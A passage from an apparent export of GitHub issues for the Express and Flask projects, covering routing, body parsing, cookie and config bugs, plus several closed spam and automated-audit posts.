[testServer.zip](https://github.com/expressjs/express/files/7260431/testServer.zip)

Run the following to install and run it:

npm install
node server.js

In postman run 3 post requests with raw json body {""id"": ""hello""}

1) http://localhost:3000/route1/test // fails as expected since it does not have json parser middleware
2) http://localhost:3000/route2/test // works as expected since router has json parser middleware
3) http://localhost:3000/route3/test // **works, but should not work! Router does not have json parser middleware**

",question,2021-09-30T14:55:38Z,2021-10-01T06:51:15Z,3
expressjs/express,1012003823,[TypeScript] How to enforce a response type?,"Is there a way to enforce a strictly typed response from a middleware function?

I currently type the response via:
```typescript
interface MyResponse { foo: string }

type MyMiddleware = express.RequestHandler<{}, MyResponse>
```
The following 2 examples compile but I'd like them to throw an error:
```typescript
const example1: MyMiddleware = (req, res, next) => {} // should throw an error because no response is sent
const example2: MyMiddleware = (req, res, next) => { res.json(undefined) } // should throw an error because undefined !== MyResponse
```
Is there a way to handle this more strictly?",question,2021-09-30T10:29:01Z,2021-12-22T18:12:40Z,2
expressjs/express,1011285020,Endpoints returning 404,"Hello!

I have this strange issue where when I send a request to an endpoint with no params or no extra /, everything returns ok. But when I request to an endpoint that needs parameters, express returns 404.
Is good to know that this is mounted on Kubernetes with an ingress, if I request through the service without the ingress, everything goes ok, but through the Ingress returns 404. ⚠️ Ingress is properly configurated under my opinion, because it sends all requests of `/` through this only microservice, and no rewrite rules are set.

Example code:
(index.js)
```
import express, { Request, Response } from ""express"";
import router from ""./endpoints"";

const app = express();
const port = 3000;

app.all(""/health"", (_req: Request, res: Response) => res.json({ health: ""ok"" }));
app.use(router);

app.listen(port, () => logger.info(`${packageJson.name} listening on port ${port}!`));
```

(endpoints.js)
```
import express from ""express"";
import controllers from ""../controllers"";
const router = express.Router();

// products
router.get(""/products"", controllers.getAllProducts);
router.get(""/products/:productId"", controllers.getProduct);
router.get(""/search"", controllers.searchProduct);

export default router;
```

### Requests

GET `/products` - 200 ok
GET `/products/<some id>` - 404 Not found (Express error)
GET `/search` - 404 Not found (Express error)

### Sample response
```
<!DOCTYPE html>
<html lang=""en"">

<head>
	<meta charset=""utf-8... [TRUNCATED]",,2021-09-29T18:03:25Z,2021-10-02T20:29:05Z,0
expressjs/express,1000907067,How to define endpoints for prisma in electron app,"Hi, I made an app in nuxt.js + electron.js + electron-builder . then added prisma to nuxt and used express in serverMiddleware to handle my endpoints started api/ and send them to prisma CRUD . It works just fine in dev mode, but when building .exe file , there is no serverMiddleware to handle those endpoints.

So as I searched through articles , I found out you can added express to electron as you can add prisma in background.js , but didn't found any solution to integrate them so that my requests that starts with api go through prisma functions. e.g. $axios.get('api/users) get me all users :

import express from 'express'
import { PrismaClient } from '@prisma/client'
const prisma = new PrismaClient()
const app = express()
app.use(express.json())
app.get('api/users', async (req, res) => {
   const result = await prisma.admin.findAll()
   res.json(result)
})",question,2021-09-20T12:21:46Z,2021-10-22T15:17:42Z,1
expressjs/express,1000874048,Request triager role for MohammadXroid,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2021-09-20T11:47:07Z,2021-11-17T17:46:52Z,4
expressjs/express,1000630321,Body parser running endless on (read body) cause of invalid content-length,"Hello,

please could u advise why the read body in body parser running endless on invalid content-length instead of throwing and expected invalid content length error?

Thanks
Tb",question,2021-09-20T06:57:09Z,2021-09-20T07:00:44Z,4
expressjs/express,1000603187,res.cookie() doesn't set browser cookie on Production,"res.cookie set browser cookie on localhost but doesn't set browser cookie after production and still I can find set-cookie in response header. I don't see any cors problem. I use Digitalocean App to deploy my node server.

`res.cookie('ckstate', 'logged', {
                httpOnly: false, 
                sameSite: router.get(""env"") === ""development"" ? true : ""none"", 
                secure: router.get(""env"") === ""development"" ? false : true
            })
            .status(200)
            .json(others)`

Here is the POST request from my React client -

`await axios.post(API_URL, user, { withCredentials: true })
        .then(res => {
            Auth.refreshAuth();
            history.push('/');
        })
        .catch(err => {
            console.log(err)
            setMessage('Wrong Credentials. Try again.');
        })`

![image](https://user-images.githubusercontent.com/89861726/133962243-a04fe7fd-5f64-4839-982e-46aeafec62fa.png)
",awaiting more info,2021-09-20T06:06:35Z,2021-11-17T17:56:02Z,2
expressjs/express,1000393994,please support typescript out of the box,hey guys can you please support typescript out of box? I have many problems with self installed type script. it works then it doesn't works. Can you make every life easier if you can make it ready to once press npx create express app.,duplicate,2021-09-19T19:10:29Z,2021-09-19T19:12:19Z,1
expressjs/express,998776790,ParamsDictionary should allow any value type,"Since request parameters can be mutated to non-string objects using something like [Sanitation Middlewares](https://express-validator.github.io/docs/filter-api.html), the `ParamsDictionary` interface should allow any type.

```
export interface RequestHandler<
    P = ParamsDictionary,
    ResBody = any,
    ReqBody = any,
    ReqQuery = ParsedQs,
    Locals extends Record<string, any> = Record<string, any>
>
```
Current:

```
export interface ParamsDictionary {
    [key: string]: string;
}
```

Proposed:

```
export interface ParamsDictionary {
    [key: string]: any;
}
```",,2021-09-16T23:56:14Z,2021-09-16T23:59:41Z,2
expressjs/express,996976903,incorrect npm in package.json,"Hi everyone. Express used path-to-regexp, it is very old version (0.1.7) and its not major version. This npm incorrect generate regExp (function pathtoRegexp) if path has param and it is instanceof RegExp","4.x,question",2021-09-15T11:35:33Z,2021-09-15T15:19:25Z,1
expressjs/express,988529326,"Wrong path in req.url in req.on('close', ... )","Example code
```js
router.use((req, res, next) => {
    console.log(req.url);
    req.on('close', () => {
        console.log(req.url);
    });
    next();
});
```

What i getting:
```
/ping/
/
```

What i expect:
```
/ping/
/ping/
```

I using express in version 4.17.1
",awaiting more info,2021-09-05T15:00:05Z,2021-09-10T15:32:25Z,1
expressjs/express,986570467,Node process exiting on certain combination of error handlers and async middlewares,"Our application was failing on Production with the node process exiting with error code 1. I was able to reproduce the error in a minimal example.

Even though the original issue was an application issue (sending an `undefined` http status in the response), it might also make sense to check why the process is exiting in this case.

#### Minimal example:
```js
const express = require(""express"");
const app = express();

app.use(
  ""/kill"",
  (req, res, next) => {
    console.log(""1. throw error"");
    throw new Error(""oops"");
  },
  (err, req, res, next) => {
    console.log(""2. try to handle error and send back undefined/invalid HTTP status"");
    res.status(err.status).send(""Error""); // err.status is undefined
  },
  (err, req, res, next) => {
    console.log(
      ""3. have an error handler not catching the 'ERR_HTTP_INVALID_STATUS_CODE', so default error handler will not be used""
    );
    next();
  }
);

app.use(async (req, res, next) => {
  console.log(""4. have an async middleware trying to send back a sth."");
  // do some async stuff here, read a file and transform it
  res.send(""[the file]"");
});

const server = app.listen(3000, () => {
  console.log(`Example app listening at http://localhost:3000`);
});

```

#### package.json
```json
{
  ""name"": ""xxxxx"",
  ""version"": ""1.0.0"",
  ""scripts"": {
    ""start"": ""node index.js"",
  },
  ""dependencies"": {
    ""express"": ""^4.17.1""
  }
}
```

#### Node Version

v15.14.0

##... [TRUNCATED]",question,2021-09-02T11:17:53Z,2021-09-02T14:00:38Z,3
expressjs/express,984269809,HTTP3/QUIC Support,"## 🚀 Feature Proposal
Implementation of QUIC [tools.ietf.org/html/draft-ietf-quic-transport-27](https://tools.ietf.org/html/draft-ietf-quic-transport-27)
 
For more details:
 
* [blog.cloudflare.com/the-road-to-quic](https://blog.cloudflare.com/the-road-to-quic/)
* [blog.cloudflare.com/http3-the-past-present-and-future](https://blog.cloudflare.com/http3-the-past-present-and-future/)

 This shall pave way for implementation of HTTP/3 since HTTP over QUIC is proposed to be called HTTP/3. QUIC will likely be used for transporting more than just HTTP.
---

Any likelihood of this being added in the next time?",,2021-08-31T20:10:31Z,2021-08-31T20:18:24Z,1
expressjs/express,982112714,express5 expected release time？,"Hi,
express is a very powerful framework, as a newcomer I like it very much. I really want to use the latest version of express, although it hasn't been updated for a long time, can you tell me your general plan? When is expected to release the amazing express5
The translation comes from Google Translate, thank you for your understanding~","duplicate,question",2021-08-29T14:23:29Z,2021-08-29T15:58:29Z,1
expressjs/express,981876616,Express.js many node-scheduler impacts,"I am doing express.js REST API for mobile application. I want to know my implementation is correct or need any improvements. In my application many business logic involved. So I had implemented More than 4 cron jobs using node-scheduler which runs at every 1 minute. I have to check business logic at every minute due to 4 scenarios then only i can achieve output. So My questions is 
1. Is it right implementation?
2. What are the best methodology instead of this?
3. Is it makes Express.js Rest API application slow? If yes how to avoid this?
Awaiting to see anyone support. Thanks in advance",,2021-08-28T16:35:57Z,2021-09-01T16:07:10Z,3
expressjs/express,980964891,ReferenceError: app is not defined,Help,question,2021-08-27T07:35:07Z,2021-09-03T07:44:38Z,3
expressjs/express,979831669,Adding NestJS as express module results in Nest being restarted,"We are progressively migrating our app from the NestJS framework to Express and thought of including NestJS as a module of Express so the migration can be done in small batches. Things seem to be connected but the NestJS seems to be a restart for every request. This is not a bug but a general approach on how to coexist Express & NestJS would be appreciated.

Express + NestJS repo

https://gitlab.com/vijaysvj/express-with-nest/-/tree/master/

References:
https://stackoverflow.com/questions/60253136/import-a-nest-js-app-as-a-simple-express-middleware
https://stackoverflow.com/questions/64244716/migrating-express-application-to-nestjs
https://stackoverflow.com/questions/54349998/use-nestjs-package-in-nodejs-express-project
https://expressjs.com/en/api.html#app.mountpath
https://github.com/tzkmx/nestjs-graphql-as-express-subapp
https://newbedev.com/import-a-nest-js-app-as-a-simple-express-middleware",discuss,2021-08-26T04:51:25Z,2022-02-02T20:22:09Z,1
expressjs/express,979316834,express.json() not parsing ,"Hello 

I have encountered the following problem:

Client is sending data to server, but server does not seem able to parse the data from the DOM.

I was initially using ""body-parser"" but then i understood it is now integrated with ""express""

still i get this error message while launching the server : ""body-parser deprecated"". 

Is this a know issue or is it just me ? and is there a way to fix it ? 

Here my code : 

**index.js**
```js
import express from""express"" ;
//import bodyParser from ""body-parser"";
import mongoose  from ""mongoose"";
import cors from ""cors""; 

import postRoutes from './routes/posts.js';

const app = express();



app.use(express.json({limit: ""30mb""}));
app.use(express.urlencoded({limit: ""30mb""}));
app.use(cors);

app.use('/posts', postRoutes);
```
**routes**
```js
import express from 'express';

import { getPosts, createPosts} from '../controllers/posts.js';

const router = express.Router();

router.get('/', getPosts); 
router.post('/', createPosts);

export default router;
```
**Controllers** 
```js
import PostMessage from ""../models/postMessage.js"";

export const getPosts = async (req, res) => {
    try {
        const postMessages = await PostMessage.find();
        console.log( ""getrequest received"");

        res.status(200).json(postMessages);
    } catch (error) {
        res.status(404).json({message: error.message});
    }
}

export const createPosts = async (req, res) => {
    const ... [TRUNCATED]","question,module:body-parser",2021-08-25T15:31:44Z,2021-11-17T17:50:03Z,4
expressjs/express,976416701,res.write() sending data only after res.end(),"Hello I am trying to do upload progress and for this I need to send some information on each file that I have successfully uploaded back to the client. For this I am using response.write() function right after a file was uploaded. Everything works fine on localhost but when I run the application in production environment the response is being sent to the client only after it is finished, there are no chunks sent at all just the whole response at the end i.e. when res.end() is called.
I am running the application with the following command `NODE_ENV=BUILD node server.js` as a linux daemon service. I believe that this is not exactly issue with express but I hope someone could propose some possible reasons for this.",question,2021-08-22T16:31:57Z,2021-08-23T13:22:33Z,3
expressjs/express,971823663,[Question] - How do I deploy an express.js Web server on the net.,"Hey, How can I use a custom domain somewhat like https://example.com I do not want it to be localhost:3000 also I dont want to use the port so yea is it possible and if yes How can i achieve it","duplicate,question",2021-08-16T14:54:53Z,2021-08-16T15:56:14Z,5
expressjs/express,971244973,Regex as path not functioning as expected,"In my express app, I have the following code:
```js
app.all(/\/port\/(([1-9]\d{0,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5]))\/.*/g,(req,res,next){
   // ...
})
```
Half the time, when going to /port/3001 it 404s, the other half of the time it works. It seems like the regex system used by Express is the cause as testing this using 
```js
/\/port\/(([1-9]\d{0,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5]))\/.*/g.test('/port/3001')
``` 
returns true.",question,2021-08-15T23:09:39Z,2021-08-15T23:15:08Z,2
expressjs/express,971146534,"[Typescript] Express 4.17.1 -> 4.17.13 break middlewares (body-parser, morgan and urlencode)","Handler<IncomingMessage, ServerResponse> type is not support and break some well popular middleware

and have type error on ""express-serve-static-core"". 
",,2021-08-15T14:25:10Z,2021-08-16T08:07:28Z,1
expressjs/express,968324250,bug with the decode_param,"Hello I think I found a bug in the decode_param method.
In our paths our client can mix and match English and Greek characters in the parameters, but i found that if the first character is Greek then I get the following error: 

{ URIError: Failed to decode param 'CE%B5%CE%B1%CF%8229102021'
    at decodeURIComponent (<anonymous>)

I snooped around and I found the following thing.

The val in decode param loses the first digit every second Loop resulting to removing the % from the encoded parameter if the first letter is Greek making it CE%B5%CE%B1%CF%8229102021 instead of %CE%B5%CE%B1%CF%8229102021. This actually prompts the error and throws the URIerror.

If the first letter is English then the val stays with the % and can be decoded. Below are some console logs:

This is when the first letter is Greek
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'
172 '%CE%B5%CE%B1%CF%8229102021'
173 'εας29102021'
172 'CE%B5%CE%B1%CF%8229102021'

This is when the first letter is English

172 'e%CE%B1%CF%8229102021'
173 'eας29102021'
172 '%CE%B1%CF%8229102021'
173 'ας29102021'
172 'e%CE%B1%CF%8229102021'
173 'eας29102021'
172 '%CE%B1%CF%8229102021'
173 'ας29102021'

Therefore, the error Failed to decode param is incorrect since it can actually decode the letter but for some reason the first digit every second loop is deleted

If I remove t... [TRUNCATED]",awaiting more info,2021-08-12T08:16:46Z,2021-08-12T14:18:20Z,4
expressjs/express,966054005,Regarding hosting,"Hey, I am new to express and still learning it but I had a question, what if I wanted to host the express website live on the internet without the port? Thank you for helping in advance also I did a google search and got nothing useful ",question,2021-08-11T06:39:34Z,2021-08-11T11:56:03Z,2
expressjs/express,965099510,Alternatives to passing values via url,"I currently have a server that displays values in template. Values are gotten from dynamic url building like so:

```
app.get('/:val1/:val2', function(req, res, next)){
res.render(
val1:val1,
val2:val2
)
}
```

The idea was, that anyone could customize the template page by typing the values in url. 

http://my-template-page/val1/val2

Downside of this approach is, as the number of values increases it becomes problematic handling the urls.
Is there an alternative approach? I considered creating separate JS file and passing variables to iframe like so:

```
<script type=""text/javascript"">
parameters = {val1,val2};
</script>
<iframe src=""my-template-page""></iframe>
```

But I can't get this approach to work. Are there any alternatives to passing values to template via url?",question,2021-08-10T15:53:50Z,2021-08-10T15:55:13Z,1
expressjs/express,961843500,Passing request parameters to router,"Related to a question of another user I found on StackOverflow:
https://stackoverflow.com/questions/34392834/express-js-how-can-i-pass-a-url-param-from-the-main-router-to-another-router-m

Is the only possibility to pass a request parameter to another router, to add a custom middleware function? 
It would be nice if it could be passed automatically, or is there a reason why this doesn't happen? I don't really see a good reason to be honest.","question,module:router",2021-08-05T08:23:23Z,2021-08-05T13:44:13Z,2
expressjs/express,960642063,app.get sendFile hostname domain express.js ?,"this.app.get('/', (req, res) =>{
     res.sendFile(__dirname + './www/index.html'); // use hostname domain ?
});

Hello, how to do this correctly ? connect to a domain instead of a localhost ?",question,2021-08-04T14:37:49Z,2021-08-04T15:36:56Z,1
expressjs/express,960443220,issue with express 4.17.1 and websockets,"I have an issue with express v.4.17.1 and socket.io (but the same thing happens with the ws-package).

Code example:
````
""use strict"";

const express = require('express');
const app = express();
const server = require('http').createServer(app);
const io = require('socket.io')(server);

io.on('connection', (socket) => {
  console.log('user connected', socket.id);
});

server.listen(5000, () => console.log('Server listening on port 5000'));
````
This should expose a simple websocket server on port 5000. The problem is that the connections get refused. The client reconnects every 2-3 seconds.

By downgrading to express v.4.13.0, everything works fine, it's the only thing I've changed on the code so it is an issue with express I guess?

Anyone encountered this problem?",awaiting more info,2021-08-04T13:21:33Z,2021-10-22T15:13:50Z,2
pallets/flask,4673717329,AI spam,"## 🎓 Project Showcase

I built **Exam AI** - an intelligent exam preparation assistant using Flask for the web interface and Ollama for local LLM integration.

### ✨ Features
- 🌐 **Flask Web UI** - Clean, responsive interface for exam practice
- 🤖 **Ollama Integration** - Local LLM for AI-powered explanations
- 📝 **Question Bank** - Manage questions by exam type and subject
- ❌ **Wrong Question Tracker** - Automatic tracking with spaced repetition
- 📊 **Statistics Dashboard** - Visual progress tracking
- 💻 **CLI Tool** - Command-line interface for quick practice

### 🔗 Links
- **GitHub**: https://github.com/1036007003-wq/exam-ai
- **Live Demo**: https://1036007003-wq.github.io/exam-ai/
- **Documentation**: https://github.com/1036007003-wq/exam-ai#readme

### 🛠️ Tech Stack
- **Backend**: Flask, Python 3.8+
- **AI**: Ollama (qwen2.5:3b, llama3)
- **Frontend**: HTML5, CSS3, JavaScript
- **Data**: JSON-based question storage

Would love to get feedback from the Flask community! 🚀",,2026-06-16T11:27:59Z,2026-06-16T11:29:45Z,0
pallets/flask,4656504041,spam,Cross-reference verification of MongoDB-related book metadata from Open Library. For documentation purposes only.,,2026-06-13T18:27:50Z,2026-06-13T18:42:55Z,0
pallets/flask,4651664955,Dead Code Audit — 65 potentially unused functions,"## Code Health Audit: Dead Code in Flask  **65 potentially unused functions** detected across the codebase.  ### Top files with dead code:  - **examples\tutorial\flaskr\auth.py** (5): `login_required`
`load_logged_in_user`
`register`
`login`
`logout` - **examples\tutorial\tests\conftest.py** (5): `app`
`client`
`runner`
`auth`
`login` - **examples\tutorial\tests\test_auth.py** (5): `test_register`
`test_register_validate_input`
`test_login`
`test_login_validate_input`
`test_logout` - **examples\tutorial\tests\test_blog.py** (5): `test_index`
`test_login_required`
`test_author_required`
`test_exists_required`
`test_create` - **src\flask\app.py** (5): `wrapper`
`wrapper`
`get_send_file_max_age`
`send_static_file`
`open_resource` - **src\flask\cli.py** (5): `get_version`
`run_command`
`shell_command`
`routes_command`
`load_app` - **src\flask\config.py** (5): `from_envvar`
`from_prefixed_env`
`from_pyfile`
`from_object`
`from_file` - **src\flask\ctx.py** (5): `after_this_request`
`copy_current_request_context`
`has_request_context`
`has_app_context`
`get` - **src\flask\helpers.py** (5): `get_debug_flag`
`get_load_dotenv`
`make_response`
`url_for`
`redirect` - **src\flask\sessions.py** (5): `permanent`
`permanent`
`make_null_session`
`is_null_session`
`get_cookie_name` - **src\flask\templating.py** (5): `render_template`
`render_template_string`
`stream_template`
`stream_template_string`
`get_source` - **src\flask\views.py** (5): `dispatch_request`
`as_view`
`dispatch_request`
`vi... [TRUNCATED]",,2026-06-12T18:30:15Z,2026-06-12T18:31:37Z,1
pallets/flask,4651592895,Dependency Audit — check for outdated packages,"## Dependency Health Check

Automated audit by [Dep Auditor](https://github.com/shunfeng8421/dep-auditor).

### Packages Found (requirements.txt)

- **amqp** v5.3.1 (last release: 2024-11-12)
- **async-timeout** v5.0.1 (last release: 2024-11-06)
- **billiard** v4.2.4 (last release: 2025-11-30)
- **blinker** v1.9.0 (last release: 2024-11-08)
- **celery** v5.6.3 (last release: 2026-03-26)

### Recommended Actions
1. Check if any package has been abandoned (no releases in 2+ years)
2. Consider replacing abandoned packages with maintained alternatives
3. Run Package                                  Version   Latest   Type
---------------------------------------- --------- -------- -----
aiofiles                                 24.1.0    25.1.0   wheel
aiohttp                                  3.13.5    3.14.1   wheel
alibabacloud-credentials                 1.0.8     1.0.9    wheel
alibabacloud-ecs20140526                 7.8.3     7.8.4    wheel
anthropic                                0.107.1   0.109.1  wheel
boltons                                  21.0.0    25.0.0   wheel
ccxt                                     4.5.56    4.5.58   wheel
click                                    8.1.8     8.4.1    wheel
cryptography                             46.0.7    48.0.1   wheel
crytic-compile                           0.3.11    0.4.1    wheel
cyclopts                                 4.17.0    4.18.0   wheel
eth-keyfile                              0.8.1     0.9.1    wheel
exceptiongroup  ... [TRUNCATED]",,2026-06-12T18:17:44Z,2026-06-12T18:19:23Z,1
pallets/flask,4651590446,Dependency Health Check,Audited by Dep Auditor. Requirements.txt packages: amqp v5.3.1|async-timeout v5.0.1|billiard v4.2.4|blinker v1.9.0|celery v5.6.3,,2026-06-12T18:17:15Z,2026-06-12T18:18:43Z,0
pallets/flask,4640521115,register_blueprint name override bypasses dot validation,"The `Blueprint` constructor explicitly prevents dots in names (`if ""."" in name: raise ValueError`) because dots denote nested blueprints. However, `app.register_blueprint(..., name=""..."")` doesn't enforce this check on the overridden name.

If a blueprint is registered with a dot via the `name` kwarg, it bypasses the restriction. This tricks the framework into treating it as a nested blueprint, causing the parent's callbacks (like `before_request`) to unexpectedly execute for the unrelated child blueprint.

### How to replicate the bug
```python
import flask

app = flask.Flask(__name__)
parent = flask.Blueprint(""parent"", __name__)
child = flask.Blueprint(""child"", __name__)

parent.before_request(lambda: setattr(flask.g, ""hit"", True))
child.add_url_rule(""/"", ""index"", lambda: str(hasattr(flask.g, ""hit"")))

app.register_blueprint(parent)
app.register_blueprint(child, name=""parent.fake"") # Bypasses dot validation

print(app.test_client().get(""/"").get_data(as_text=True))",,2026-06-11T12:40:53Z,2026-06-11T13:05:27Z,1
pallets/flask,4618840790,AI Junk,LLM junk removed,,2026-06-09T04:31:22Z,2026-06-09T06:23:24Z,2
pallets/flask,4618839812,AI Junk,LLM junk removed,,2026-06-09T04:31:12Z,2026-06-09T06:23:27Z,2
pallets/flask,4618838696,AI Junk,LLM junk removed,,2026-06-09T04:31:02Z,2026-06-09T06:23:30Z,2
pallets/flask,4618837840,AI Junk,LLM junk removed,,2026-06-09T04:30:51Z,2026-06-09T06:23:33Z,2
pallets/flask,4618836201,AI Junk,LLM junk removed,,2026-06-09T04:30:34Z,2026-06-09T06:23:37Z,2
pallets/flask,4596655068,multiple teardown errors are discarded on Python < 3.11,"Markdown
On Python versions prior to 3.11, `_CollectErrors.raise_any()` (in `src/flask/helpers.py`, line 682) only re-raises the very first collected error, silently swallowing any subsequent teardown errors. This makes debugging secondary teardown failures impossible on Python < 3.11.

### How to replicate the bug
1. Create a `_CollectErrors` context manager.
2. Trigger multiple teardown exceptions (e.g., DB close fails, then Cache flush fails).
3. Call `raise_any()`. Only the first exception is raised; the others are silently lost.

**Minimal Reproducible Example:**
```python
import sys

class _CollectErrors:
    def __init__(self):
        self.errors = []

    def __enter__(self):
        pass

    def __exit__(self, exc_type, exc_val, exc_tb):
        if exc_val is not None:
            self.errors.append(exc_val)
        return True

    def raise_any(self, message: str) -> None:
        if self.errors:
            if sys.version_info >= (3, 11):
                raise BaseExceptionGroup(message, self.errors)
            else:
                raise self.errors[0]   # BUG: only first error raised

collect = _CollectErrors()

with collect:
    raise RuntimeError(""DB connection close failed"")
with collect:
    raise ValueError(""File handle close failed"")

try:
    collect.raise_any(""Teardown errors"")
except Exception as e:
    print(f""Raised: {type(e).__name__}: {e}"")
    print(f""Total collected: {len(collect.errors)}"")
```

Expected behavior
Even without BaseExceptionGroup... [TRUNCATED]",,2026-06-05T11:46:52Z,2026-06-05T11:57:37Z,2
pallets/flask,4579894796,AI spam,spam,,2026-06-03T12:39:49Z,2026-06-03T13:02:48Z,0
pallets/flask,4501597839,API doc references are not sorted,"Method and properties in API docs are not following any sorting rules, making it hard to find specific references.

https://flask.palletsprojects.com/en/stable/api/#flask.Request

<img width=""245"" height=""369"" alt=""Image"" src=""https://github.com/user-attachments/assets/29390e00-5264-443d-ad4b-41e9f162e128"" />

I failed to find `endpoint` located between top `max_form_parts` and bottom `blueprint`.

Expected alphabetic order for all class attributes.",,2026-05-22T09:39:57Z,2026-05-22T12:34:38Z,2
pallets/flask,4472902129,FLASK_DEBUG env variable no longer works as of click 8.4.0,"**Description of bug:**

FLASK_DEBUG=1 was working previously to set flask's debug mode either in a .env/.flaskenv and using python-dotenv OR by manually setting with export FLASK_DEBUG=1. As of today, setting it by env variable no longer works. Flask will still use debug mode using the --debug flag. Downgrading click to 8.3.3 resolves the issue.

**Replicate bug:**

```
python3 -m venv venv
. venv/bin/activate
pip install flask
cat << EOF > app.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
    return 'hello world'
EOF
export FLASK_DEBUG=1
flask run
```

**This produces:**

Debug mode: off

```
pip install click==8.3.3
flask run
```

**Then produces:**

Debug mode: on

**Environment:**

- Python version: 3.12.3
- Flask version: 3.1.3
",,2026-05-18T22:05:58Z,2026-05-21T03:48:38Z,2
pallets/flask,4460193531,Config.from_file() silently ignores fewer OSError codes than from_pyfile(),"## Summary

`Config.from_file()` and `Config.from_pyfile()` behave inconsistently when `silent=True` and an `OSError` is raised.

`from_pyfile()` silences errors for these `errno` codes:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR, errno.ENOTDIR):
    return False
```

But `from_file()` only silences:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
    return False
```

It is missing `errno.ENOTDIR`.

## Reproduction

`ENOTDIR` is raised when a path component is a regular file, not a directory. For example, if `/tmp/myconfig` is a regular file and you try to open `/tmp/myconfig/settings.json`, the OS raises `ENOTDIR` (not a directory).

```python
import os, tempfile
from flask import Flask

app = Flask(__name__)

# create a file where we expect a directory
with tempfile.NamedTemporaryFile(delete=False, suffix=""cfg"") as f:
    f.write(b"""")
    tmp = f.name

# from_pyfile with silent=True returns False (correct)
result = app.config.from_pyfile(tmp + ""/nested.cfg"", silent=True)
# from_file with silent=True raises OSError instead of returning False (bug)
result = app.config.from_file(tmp + ""/nested.json"", load=json.load, silent=True)
```

## Expected behavior

Both methods should return `False` when `silent=True` and the path is not reachable due to `ENOTDIR`, just like they both return `False` for `ENOENT` and `EISDIR`.

## Fix

Add `errno.ENOTDIR` to the tuple in `from_file()`:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR... [TRUNCATED]",,2026-05-16T14:34:46Z,2026-05-16T14:59:57Z,1
pallets/flask,4342455795,<spam>,"Irresponsible potential vulnerability report

genAI slop",,2026-04-28T10:38:52Z,2026-04-28T11:55:50Z,3
pallets/flask,4280524295,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17T06:05:26Z,2026-04-17T06:13:09Z,1
pallets/flask,4280483131,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17T05:55:53Z,2026-04-17T06:13:01Z,1
pallets/flask,4280477338,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17T05:54:32Z,2026-04-17T06:12:49Z,1
pallets/flask,4280472963,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17T05:53:24Z,2026-04-17T06:12:17Z,1
pallets/flask,4257048423,<spam>,spam removed,,2026-04-13T18:31:05Z,2026-04-13T18:45:57Z,0
pallets/flask,4240346845,<spam>,Invalid AI security slop,,2026-04-10T16:10:05Z,2026-04-10T16:12:27Z,2
pallets/flask,4229315467,"Docs: doubled word ""the the"" in TESTING config description","In `docs/config.rst`, the description for `TESTING` contains a doubled word:

```
Exceptions are propagated rather than handled by the
the app's error handlers.
```

Should be:

```
Exceptions are propagated rather than handled by the app's error handlers.
```

**File:** `docs/config.rst` line 83",,2026-04-09T03:59:14Z,2026-04-09T04:00:30Z,2
pallets/flask,4228092280,<spam>,"For Flask, JigsawML will provide free scans of the Flask repository. This will generate queryable architectural diagrams. You can find a one button scans at:

Here are the major features:

You can drill down to the level of granularity needed.
You can talk to the llm to get additional explanation about the architecture.
You can export the diagrams.
Coming attractions:

We will be improving the granularity, allowing more levels of zoom.
We will be adding the capability to include scanning for changes at the PR level.
We would appreciate any feedback that you care to offer. Send us a note 

Replace this comment with a description of what the feature should do.

No action required.  The capability is already being made available to you.  New feature category was just the closest fit.
",,2026-04-08T22:28:05Z,2026-04-08T22:28:50Z,0
pallets/flask,4202844094,<spam>,"## Vulnerability Report

Hi there! We found 3 known vulnerabilities in this project's dependencies during a routine open-source security scan.

| CVE | Package | Current | Fixed | Severity | CVSS | EPSS |
|-----|---------|---------|-------|----------|------|------|
